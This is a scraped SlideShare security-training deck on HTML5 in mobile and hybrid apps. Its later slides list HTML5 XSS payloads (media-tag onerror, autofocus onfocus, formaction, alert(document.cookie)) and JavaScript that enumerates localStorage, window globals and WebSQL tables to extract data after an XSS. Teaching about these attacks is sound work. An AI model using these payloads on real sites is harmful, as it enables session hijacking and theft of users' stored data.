SlideShare a Scribd company logo
© Blueinfy Solutions
HTML5 and Mobile
© Blueinfy Solutions
What is HTML5
• Enhancement to HTML 4.01
– with more tags
– API Support
– Functionality to support mobile devices
– More types for existing tags
• Does not mean old tags will not work
• Existing application can be converted by
changing “<!DOCTYPE html>” in first line
© Blueinfy Solutions
HTML5 in Mobile
• It is changing the game
• Apps are migrating to HTML5 and no need to
use native
• Web vs. Mobile
– Both can use HTML5
– No need to manage several code base
– HTML+CSS+JS only
– Server side services
© Blueinfy Solutions
Technology Vectors
© Blueinfy Solutions
What is running - where???
Presentation Layer
Business Layer
Data Access Layer
Authentication
Communication etc.
Runtime, Platform, Operating System Components
Server side
Components
Client side
Components
(Browser)
• HTML 5
• DOM
• XHR
• WebSocket
• Storage
• WebSQL
• Flash
• Flex
• AMF
• Silverlight • WCF
• XAML
• NET
• Storage
• JS
• Android
• iPhone/Pad
• Other
Mobile
© Blueinfy Solutions
HTML5 in nutshell - Specs
6
Source:
http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by-Sergey-Mavrody.png
Source: http://html5demos.com/
Evolution going on by Web Hypertext Application Technology Working Group
(WHATWG)
© Blueinfy Solutions
Key HTML5 features for Mobile
• Offline web application support
• Web Storage
• GeoLocation API
• Canvas 2D Drawing
• Video and Audio streaming support
7
© Blueinfy Solutions
HTML5 features not supported on
Mobile
• Microdata
• 3D animation
• FileReader API
• IndexDB
• WebWorkers
8
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
Modern Browser Model
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS/Content-Sec Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
FileSystem
© Blueinfy Solutions
Abusing HTML 5 Tags
• Various new tags and can be abused, may not
be filtered or validated
• Media tags
<video poster=javascript:alert(document.cookie)//
<audio><source onerror="javascript:alert(document.cookie)">
• Form tags
<form><button formaction="javascript:alert(document.cookie)">foo
<body oninput=alert(document.cookie)><input autofocus>
10
© Blueinfy Solutions
Accessing media tags
© Blueinfy Solutions
Moving/Touch
© Blueinfy Solutions
Login cookie
© Blueinfy Solutions
Profile
• Fetch through storage – cookie not needed…
© Blueinfy Solutions
WebSQL data
• Through JavaScript one can store information
on database.
• Example
15
© Blueinfy Solutions
One time fetch
© Blueinfy Solutions
Network calls
• HTML 5 provides WebSocket and XHR Level 2
calls
• It allows to make cross domains call and raw
socket capabilities
• It can be leveraged by JavaScript payload
• Malware or worm can use it to perform
several scanning tasks
17
© Blueinfy Solutions
Same Origin Policy (SOP)
• Browser’s sandbox
– Protocol, Host and Port should match
– It is possible to set document.domain to parent
domain if current context is child domain
– Top level domain (TLD) locking down helps in
sandboxing the context
18
© Blueinfy Solutions
Fetching Location
© Blueinfy Solutions
Location calls
© Blueinfy Solutions
Hybrid App
• Android
© Blueinfy Solutions
Integrating native to webview
• Hook your handlers to make it hybrid
• Interact with webview
© Blueinfy Solutions
Set permissions
• Manifest file
© Blueinfy Solutions
Loading Hybrid App
© Blueinfy Solutions
Slidebar type touch views
© Blueinfy Solutions
HTML5 Attacks
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
XSS with HTML5 (tags, attributes and
events)
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
© Blueinfy Solutions
HTML5 – Tags/Attributes/Events
• Tags – media (audio/video), canvas
(getImageData), menu, embed,
buttons/commands, Form control (keys)
• Attributes – form, submit, autofocus, sandbox,
manifest, rel etc.
• Events/Objects – Navigation (_self), Editable
content, Drag-Drop APIs, pushState (History)
etc.
28
© Blueinfy Solutions
XSS variants
• Media tags
• Examples
– <video><source onerror="javascript:alert(1)“>
– <video onerror="javascript:alert(1)"><source>
29
© Blueinfy Solutions
XSS variants
• Exploiting autofocus
– <input autofocus onfocus=alert(1)>
– <select autofocus onfocus=alert(1)>
– <textarea autofocus onfocus=alert(1)>
– <keygen autofocus onfocus=alert(1)>
30
© Blueinfy Solutions
XSS variants
• Form & Button etc.
– <form id="test" /><button form="test"
formaction="javascript:alert(1)">test
– <form><button
formaction="javascript:alert(1)">test
• Etc … and more …
– Nice HTML5 XSS cheat sheet
(http://html5sec.org/)
31
© Blueinfy Solutions
• Once have an entry point – game over!
Extraction through XSS
© Blueinfy Solutions
API (Media, Geo etc.) & Messaging Plug-In
Web Storage and DOM information
extraction
HTML5 + CSS Silverlight Flash
Browser Native Network Services
XHR 1 & 2 WebSocket Plug-in Sockets
JavaScript DOM/Events Parser/Threads
SOP/CORS Sandbox
Presentation
Process & Logic
Network
& Access
Core
Policies
StorageWebSQL
Mobile
Cache
© Blueinfy Solutions
Web Storage Extraction
• Browser has one place to store data – Cookie
(limited and replayed)
• HTML5 – Storage API provided (Local and
Session)
• Can hold global scoped variables
• http://www.w3.org/TR/webstorage/
34
© Blueinfy Solutions
Web Storage Extraction
• It is possible to steal them through XSS or via
JavaScript
• Session hijacking – HttpOnly of no use
• getItem and setItem calls
• XSS the box and scan through storage
© Blueinfy Solutions
Blind storage enumeration
if(localStorage.length){
console.log(localStorage.length)
for(i in localStorage){
console.log(i)
console.log(localStorage.getItem(i));
}
}
• Above code allows all storage variable
extraction
36
© Blueinfy Solutions
• HTML5 provides virtual file system with
filesystem APIs
– window.requestFileSystem =
window.requestFileSystem ||
window.webkitRequestFileSystem;
• It becomes a full blown local system for
application in sandbox
• It empowers application
File System Storage
© Blueinfy Solutions
• It provides temporary or permanent file
system
function init() {
window.requestFileSystem(window.TEMPORARY, 1024*1024,
function(filesystem) {
filesys = filesystem;
}, catcherror);
}
• App can have full filesystem in place now.
File System Storage
© Blueinfy Solutions
• Assuming app is creating profile on local
system
Sensitive information filesystem
© Blueinfy Solutions
DOM Storage
• Applications run with “rich” DOM
• JavaScript sets several variables and
parameters while loading – GLOBALS
• It has sensitive information and what if they
are GLOBAL and remains during the life of
application
• It can be retrieved with XSS
• HTTP request and response are going through
JavaScripts (XHR) – what about those vars?
© Blueinfy Solutions
Blind Enumeration
for(i in window){
obj=window[i];
try{
if(typeof(obj)=="string"){
console.log(i);
console.log(obj.toString());
}
}catch(ex){}
}
41
© Blueinfy Solutions
Global Sensitive Information Extraction from DOM
• HTML5 apps running on Single DOM
• Having several key global variables, objects
and array
– var arrayGlobals =
['my@email.com',"12141hewvsdr9321343423mjf
dvint","test.com"];
• Post DOM based exploitation possible and
harvesting all these values.
42
© Blueinfy Solutions
Global Sensitive Information Extraction from DOM
for(i in window){
obj=window[i];
if(obj!=null||obj!=undefined)
var type = typeof(obj);
if(type=="object"||type=="string")
{
console.log("Name:"+i)
try{
my=JSON.stringify(obj);
console.log(my)
}catch(ex){}
}
}
43
© Blueinfy Solutions
SQL Injection
• WebSQL is part of HTML 5 specification, it
provides SQL database to the browser itself.
• Allows one time data loading and offline
browsing capabilities.
• Causes security concern and potential
injection points.
• Methods and calls are possible
© Blueinfy Solutions
SQL Injection
• Through JavaScript one can harvest entire
local database.
• Example
© Blueinfy Solutions
Blind WebSQL Enumeration
• We need following to exploit
– Database object
– Table structure created on SQLite
– User table on which we need to run select query
46
© Blueinfy Solutions
Blind WebSQL Enumeration
var dbo;
var table;
var usertable;
for(i in window){
obj = window[i];
try{
if(obj.constructor.name=="Database"){
dbo = obj;
obj.transaction(function(tx){
tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'',
[],function(tx,results){
table=results;
},null);
});
}
}catch(ex){}
}
if(table.rows.length>1)
usertable=table.rows.item(1).name;
47
© Blueinfy Solutions
Blind WebSQL Enumeration
• We will run through all objects and get object
where constructor is “Database”
• We will make Select query directly to
sqlite_master database
• We will grab 1st
table leaving webkit table on
0th
entry
48
© Blueinfy Solutions
Blind WebSQL Enumeration
49
© Blueinfy Solutions
Conclusion

More Related Content

PPT
iOS Application Security Testing
PPT
Applciation footprinting, discovery and enumeration
PDF
Mobile Application Scan and Testing
PPT
Android attacks
PPT
Android secure coding
PPT
Mobile code mining for discovery and exploits nullcongoa2013
PDF
CSRF, ClickJacking & Open Redirect
PPT
HTML5 hacking
iOS Application Security Testing
Applciation footprinting, discovery and enumeration
Mobile Application Scan and Testing
Android attacks
Android secure coding
Mobile code mining for discovery and exploits nullcongoa2013
CSRF, ClickJacking & Open Redirect
HTML5 hacking

What's hot (20)

PPT
Automation In Android & iOS Application Review
PDF
Html5 Application Security
PDF
CNIT 129S: Ch 3: Web Application Technologies
PDF
CNIT 129S - Ch 3: Web Application Technologies
PDF
Html5 localstorage attack vectors
PDF
Authentication: Cookies vs JWTs and why you’re doing it wrong
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
PDF
CNIT 129S: Securing Web Applications Ch 1-2
PPTX
Build A Killer Client For Your REST+JSON API
PDF
Securing Web Applications with Token Authentication
PDF
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
PDF
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
PDF
Securing REST APIs
PPT
PPT
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
PDF
CNIT 129S: 8: Attacking Access Controls
PDF
The Ultimate Guide to Mobile API Security
PPTX
Secure Your REST API (The Right Way)
PDF
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
PPTX
Token Authentication for Java Applications
Automation In Android & iOS Application Review
Html5 Application Security
CNIT 129S: Ch 3: Web Application Technologies
CNIT 129S - Ch 3: Web Application Technologies
Html5 localstorage attack vectors
Authentication: Cookies vs JWTs and why you’re doing it wrong
CNIT 129S: 13: Attacking Users: Other Techniques (Part 1 of 2)
CNIT 129S: Securing Web Applications Ch 1-2
Build A Killer Client For Your REST+JSON API
Securing Web Applications with Token Authentication
CNIT 129S: 13: Attacking Users: Other Techniques (Part 2 of 2)
CNIT 129S: 12: Attacking Users: Cross-Site Scripting (Part 1 of 2)
Securing REST APIs
FIND ME IF YOU CAN – SMART FUZZING AND DISCOVERY
CNIT 129S: 8: Attacking Access Controls
The Ultimate Guide to Mobile API Security
Secure Your REST API (The Right Way)
HTML5 Top 10 Threats - Silent Attacks and Stealth Exploits
Token Authentication for Java Applications
Ad

Viewers also liked (17)

PPT
Geraldine O Reilly Under the Cover of Trees At The Doorway Gallery
PDF
KatieLutzRezyTops
PDF
New base 989 special 19 january 2017 energy news
PPTX
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...
PPTX
Los paises americanos美洲国家
PPTX
Food images
PPT
Udl 523
PPT
Island Man
PDF
iWelcome case study: PostNL - Identity in the heart of transition to the cloud
PDF
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
PPTX
Assignment principles of exporting afghanistan (talha n atta)
PDF
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...
PPTX
California History Social Science Frameworks
PDF
DevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
PDF
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
PDF
Optimizing Your Application Security Program with Netsparker and ThreadFix
PDF
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
Geraldine O Reilly Under the Cover of Trees At The Doorway Gallery
KatieLutzRezyTops
New base 989 special 19 january 2017 energy news
Jay parmar, Legal and Policy Director at BVLRA - Ultra Low Emissions Vehicl...
Los paises americanos美洲国家
Food images
Udl 523
Island Man
iWelcome case study: PostNL - Identity in the heart of transition to the cloud
Jean-Pierre Senekal – The Impact of Self-Esteem on the Student Supervisor Wor...
Assignment principles of exporting afghanistan (talha n atta)
Ord. nº 1512 ssmo modifica registro sanitario bezafibrato ciprofibrato o ge...
California History Social Science Frameworks
DevOpsCon 2016 - Continuous Security Testing - Stephan Kaps
Next Generation Web Attacks – HTML 5, DOM(L3) and XHR(L2)
Optimizing Your Application Security Program with Netsparker and ThreadFix
PLM, BIM serveur : qui fait quoi, quand et comment ? Pratiques et technologie...
Ad

Similar to Html5 on mobile (20)

PDF
Talk about html5 security
PDF
Html5 workshop part 1
PPTX
PPT
Top 10 HTML5 Features for Oracle Cloud Developers
PPT
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...
PDF
Top 10 HTML5 Threats - Whitepaper
PPTX
Html5 phillycc
PDF
HTML5 Handling Security Issues, Security Threats for HTML5, HTML5 Application...
PDF
Attack with-html5
PDF
A brief introduction on HTML5 and responsive layouts
PDF
HTML5 features & JavaScript APIs
PDF
Html5 hacking
PDF
Dom Hackking & Security - BlackHat Preso
PDF
HTML5 Technical Executive Summary
PPT
HTML5 Webinar - Mind Storm Software
PPT
Html5 Future of WEB
PPTX
HTML5 introduction for beginners
ODP
Html5
Talk about html5 security
Html5 workshop part 1
Top 10 HTML5 Features for Oracle Cloud Developers
Mobile Web Applications using HTML5 [IndicThreads Mobile Application Develop...
Top 10 HTML5 Threats - Whitepaper
Html5 phillycc
HTML5 Handling Security Issues, Security Threats for HTML5, HTML5 Application...
Attack with-html5
A brief introduction on HTML5 and responsive layouts
HTML5 features & JavaScript APIs
Html5 hacking
Dom Hackking & Security - BlackHat Preso
HTML5 Technical Executive Summary
HTML5 Webinar - Mind Storm Software
Html5 Future of WEB
HTML5 introduction for beginners
Html5

More from Blueinfy Solutions (12)

PDF
Mobile security chess board - attacks & defense
PPT
Web Services Hacking and Security
PPT
Source Code Analysis with SAST
PPT
XSS - Attacks & Defense
PPT
Defending against Injections
PPT
XPATH, LDAP and Path Traversal Injection
PPT
Blind SQL Injection
PPT
Application fuzzing
PPT
SQL injection basics
PPT
Assessment methodology and approach
PPT
HTTP protocol and Streams Security
PPT
Advanced applications-architecture-threats
Mobile security chess board - attacks & defense
Web Services Hacking and Security
Source Code Analysis with SAST
XSS - Attacks & Defense
Defending against Injections
XPATH, LDAP and Path Traversal Injection
Blind SQL Injection
Application fuzzing
SQL injection basics
Assessment methodology and approach
HTTP protocol and Streams Security
Advanced applications-architecture-threats

Recently uploaded (20)

PDF
AI in Product Development-omnex systems
PDF
Understanding Forklifts - TECH EHS Solution
PPTX
L1 - Introduction to python Backend.pptx
PDF
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
PDF
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
PPT
Introduction Database Management System for Course Database
PDF
2025 Textile ERP Trends: SAP, Odoo & Oracle
PPTX
VVF-Customer-Presentation2025-Ver1.9.pptx
PPTX
history of c programming in notes for students .pptx
PDF
How to Choose the Right IT Partner for Your Business in Malaysia
PDF
Softaken Excel to vCard Converter Software.pdf
PDF
How Creative Agencies Leverage Project Management Software.pdf
PPTX
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
PPTX
Online Work Permit System for Fast Permit Processing
PDF
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
PDF
System and Network Administration Chapter 2
PDF
Adobe Illustrator 28.6 Crack My Vision of Vector Design
PDF
Design an Analysis of Algorithms I-SECS-1021-03
PDF
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
PDF
Audit Checklist Design Aligning with ISO, IATF, and Industry Standards — Omne...
AI in Product Development-omnex systems
Understanding Forklifts - TECH EHS Solution
L1 - Introduction to python Backend.pptx
Flood Susceptibility Mapping Using Image-Based 2D-CNN Deep Learnin. Overview ...
Addressing The Cult of Project Management Tools-Why Disconnected Work is Hold...
Introduction Database Management System for Course Database
2025 Textile ERP Trends: SAP, Odoo & Oracle
VVF-Customer-Presentation2025-Ver1.9.pptx
history of c programming in notes for students .pptx
How to Choose the Right IT Partner for Your Business in Malaysia
Softaken Excel to vCard Converter Software.pdf
How Creative Agencies Leverage Project Management Software.pdf
Lecture 3: Operating Systems Introduction to Computer Hardware Systems
Online Work Permit System for Fast Permit Processing
Internet Downloader Manager (IDM) Crack 6.42 Build 42 Updates Latest 2025
System and Network Administration Chapter 2
Adobe Illustrator 28.6 Crack My Vision of Vector Design
Design an Analysis of Algorithms I-SECS-1021-03
Claude Code: Everyone is a 10x Developer - A Comprehensive AI-Powered CLI Tool
Audit Checklist Design Aligning with ISO, IATF, and Industry Standards — Omne...

Html5 on mobile

  • 2. © Blueinfy Solutions What is HTML5 • Enhancement to HTML 4.01 – with more tags – API Support – Functionality to support mobile devices – More types for existing tags • Does not mean old tags will not work • Existing application can be converted by changing “<!DOCTYPE html>” in first line
  • 3. © Blueinfy Solutions HTML5 in Mobile • It is changing the game • Apps are migrating to HTML5 and no need to use native • Web vs. Mobile – Both can use HTML5 – No need to manage several code base – HTML+CSS+JS only – Server side services
  • 5. © Blueinfy Solutions What is running - where??? Presentation Layer Business Layer Data Access Layer Authentication Communication etc. Runtime, Platform, Operating System Components Server side Components Client side Components (Browser) • HTML 5 • DOM • XHR • WebSocket • Storage • WebSQL • Flash • Flex • AMF • Silverlight • WCF • XAML • NET • Storage • JS • Android • iPhone/Pad • Other Mobile
  • 6. © Blueinfy Solutions HTML5 in nutshell - Specs 6 Source: http://en.wikipedia.org/wiki/File:HTML5-APIs-and-related-technologies-by-Sergey-Mavrody.png Source: http://html5demos.com/ Evolution going on by Web Hypertext Application Technology Working Group (WHATWG)
  • 7. © Blueinfy Solutions Key HTML5 features for Mobile • Offline web application support • Web Storage • GeoLocation API • Canvas 2D Drawing • Video and Audio streaming support 7
  • 8. © Blueinfy Solutions HTML5 features not supported on Mobile • Microdata • 3D animation • FileReader API • IndexDB • WebWorkers 8
  • 9. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In Modern Browser Model HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS/Content-Sec Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache FileSystem
  • 10. © Blueinfy Solutions Abusing HTML 5 Tags • Various new tags and can be abused, may not be filtered or validated • Media tags <video poster=javascript:alert(document.cookie)// <audio><source onerror="javascript:alert(document.cookie)"> • Form tags <form><button formaction="javascript:alert(document.cookie)">foo <body oninput=alert(document.cookie)><input autofocus> 10
  • 14. © Blueinfy Solutions Profile • Fetch through storage – cookie not needed…
  • 15. © Blueinfy Solutions WebSQL data • Through JavaScript one can store information on database. • Example 15
  • 17. © Blueinfy Solutions Network calls • HTML 5 provides WebSocket and XHR Level 2 calls • It allows to make cross domains call and raw socket capabilities • It can be leveraged by JavaScript payload • Malware or worm can use it to perform several scanning tasks 17
  • 18. © Blueinfy Solutions Same Origin Policy (SOP) • Browser’s sandbox – Protocol, Host and Port should match – It is possible to set document.domain to parent domain if current context is child domain – Top level domain (TLD) locking down helps in sandboxing the context 18
  • 21. © Blueinfy Solutions Hybrid App • Android
  • 22. © Blueinfy Solutions Integrating native to webview • Hook your handlers to make it hybrid • Interact with webview
  • 23. © Blueinfy Solutions Set permissions • Manifest file
  • 25. © Blueinfy Solutions Slidebar type touch views
  • 27. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In XSS with HTML5 (tags, attributes and events) HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
  • 28. © Blueinfy Solutions HTML5 – Tags/Attributes/Events • Tags – media (audio/video), canvas (getImageData), menu, embed, buttons/commands, Form control (keys) • Attributes – form, submit, autofocus, sandbox, manifest, rel etc. • Events/Objects – Navigation (_self), Editable content, Drag-Drop APIs, pushState (History) etc. 28
  • 29. © Blueinfy Solutions XSS variants • Media tags • Examples – <video><source onerror="javascript:alert(1)“> – <video onerror="javascript:alert(1)"><source> 29
  • 30. © Blueinfy Solutions XSS variants • Exploiting autofocus – <input autofocus onfocus=alert(1)> – <select autofocus onfocus=alert(1)> – <textarea autofocus onfocus=alert(1)> – <keygen autofocus onfocus=alert(1)> 30
  • 31. © Blueinfy Solutions XSS variants • Form & Button etc. – <form id="test" /><button form="test" formaction="javascript:alert(1)">test – <form><button formaction="javascript:alert(1)">test • Etc … and more … – Nice HTML5 XSS cheat sheet (http://html5sec.org/) 31
  • 32. © Blueinfy Solutions • Once have an entry point – game over! Extraction through XSS
  • 33. © Blueinfy Solutions API (Media, Geo etc.) & Messaging Plug-In Web Storage and DOM information extraction HTML5 + CSS Silverlight Flash Browser Native Network Services XHR 1 & 2 WebSocket Plug-in Sockets JavaScript DOM/Events Parser/Threads SOP/CORS Sandbox Presentation Process & Logic Network & Access Core Policies StorageWebSQL Mobile Cache
  • 34. © Blueinfy Solutions Web Storage Extraction • Browser has one place to store data – Cookie (limited and replayed) • HTML5 – Storage API provided (Local and Session) • Can hold global scoped variables • http://www.w3.org/TR/webstorage/ 34
  • 35. © Blueinfy Solutions Web Storage Extraction • It is possible to steal them through XSS or via JavaScript • Session hijacking – HttpOnly of no use • getItem and setItem calls • XSS the box and scan through storage
  • 36. © Blueinfy Solutions Blind storage enumeration if(localStorage.length){ console.log(localStorage.length) for(i in localStorage){ console.log(i) console.log(localStorage.getItem(i)); } } • Above code allows all storage variable extraction 36
  • 37. © Blueinfy Solutions • HTML5 provides virtual file system with filesystem APIs – window.requestFileSystem = window.requestFileSystem || window.webkitRequestFileSystem; • It becomes a full blown local system for application in sandbox • It empowers application File System Storage
  • 38. © Blueinfy Solutions • It provides temporary or permanent file system function init() { window.requestFileSystem(window.TEMPORARY, 1024*1024, function(filesystem) { filesys = filesystem; }, catcherror); } • App can have full filesystem in place now. File System Storage
  • 39. © Blueinfy Solutions • Assuming app is creating profile on local system Sensitive information filesystem
  • 40. © Blueinfy Solutions DOM Storage • Applications run with “rich” DOM • JavaScript sets several variables and parameters while loading – GLOBALS • It has sensitive information and what if they are GLOBAL and remains during the life of application • It can be retrieved with XSS • HTTP request and response are going through JavaScripts (XHR) – what about those vars?
  • 41. © Blueinfy Solutions Blind Enumeration for(i in window){ obj=window[i]; try{ if(typeof(obj)=="string"){ console.log(i); console.log(obj.toString()); } }catch(ex){} } 41
  • 42. © Blueinfy Solutions Global Sensitive Information Extraction from DOM • HTML5 apps running on Single DOM • Having several key global variables, objects and array – var arrayGlobals = ['my@email.com',"12141hewvsdr9321343423mjf dvint","test.com"]; • Post DOM based exploitation possible and harvesting all these values. 42
  • 43. © Blueinfy Solutions Global Sensitive Information Extraction from DOM for(i in window){ obj=window[i]; if(obj!=null||obj!=undefined) var type = typeof(obj); if(type=="object"||type=="string") { console.log("Name:"+i) try{ my=JSON.stringify(obj); console.log(my) }catch(ex){} } } 43
  • 44. © Blueinfy Solutions SQL Injection • WebSQL is part of HTML 5 specification, it provides SQL database to the browser itself. • Allows one time data loading and offline browsing capabilities. • Causes security concern and potential injection points. • Methods and calls are possible
  • 45. © Blueinfy Solutions SQL Injection • Through JavaScript one can harvest entire local database. • Example
  • 46. © Blueinfy Solutions Blind WebSQL Enumeration • We need following to exploit – Database object – Table structure created on SQLite – User table on which we need to run select query 46
  • 47. © Blueinfy Solutions Blind WebSQL Enumeration var dbo; var table; var usertable; for(i in window){ obj = window[i]; try{ if(obj.constructor.name=="Database"){ dbo = obj; obj.transaction(function(tx){ tx.executeSql('SELECT name FROM sqlite_master WHERE type='table'', [],function(tx,results){ table=results; },null); }); } }catch(ex){} } if(table.rows.length>1) usertable=table.rows.item(1).name; 47
  • 48. © Blueinfy Solutions Blind WebSQL Enumeration • We will run through all objects and get object where constructor is “Database” • We will make Select query directly to sqlite_master database • We will grab 1st table leaving webkit table on 0th entry 48
  • 49. © Blueinfy Solutions Blind WebSQL Enumeration 49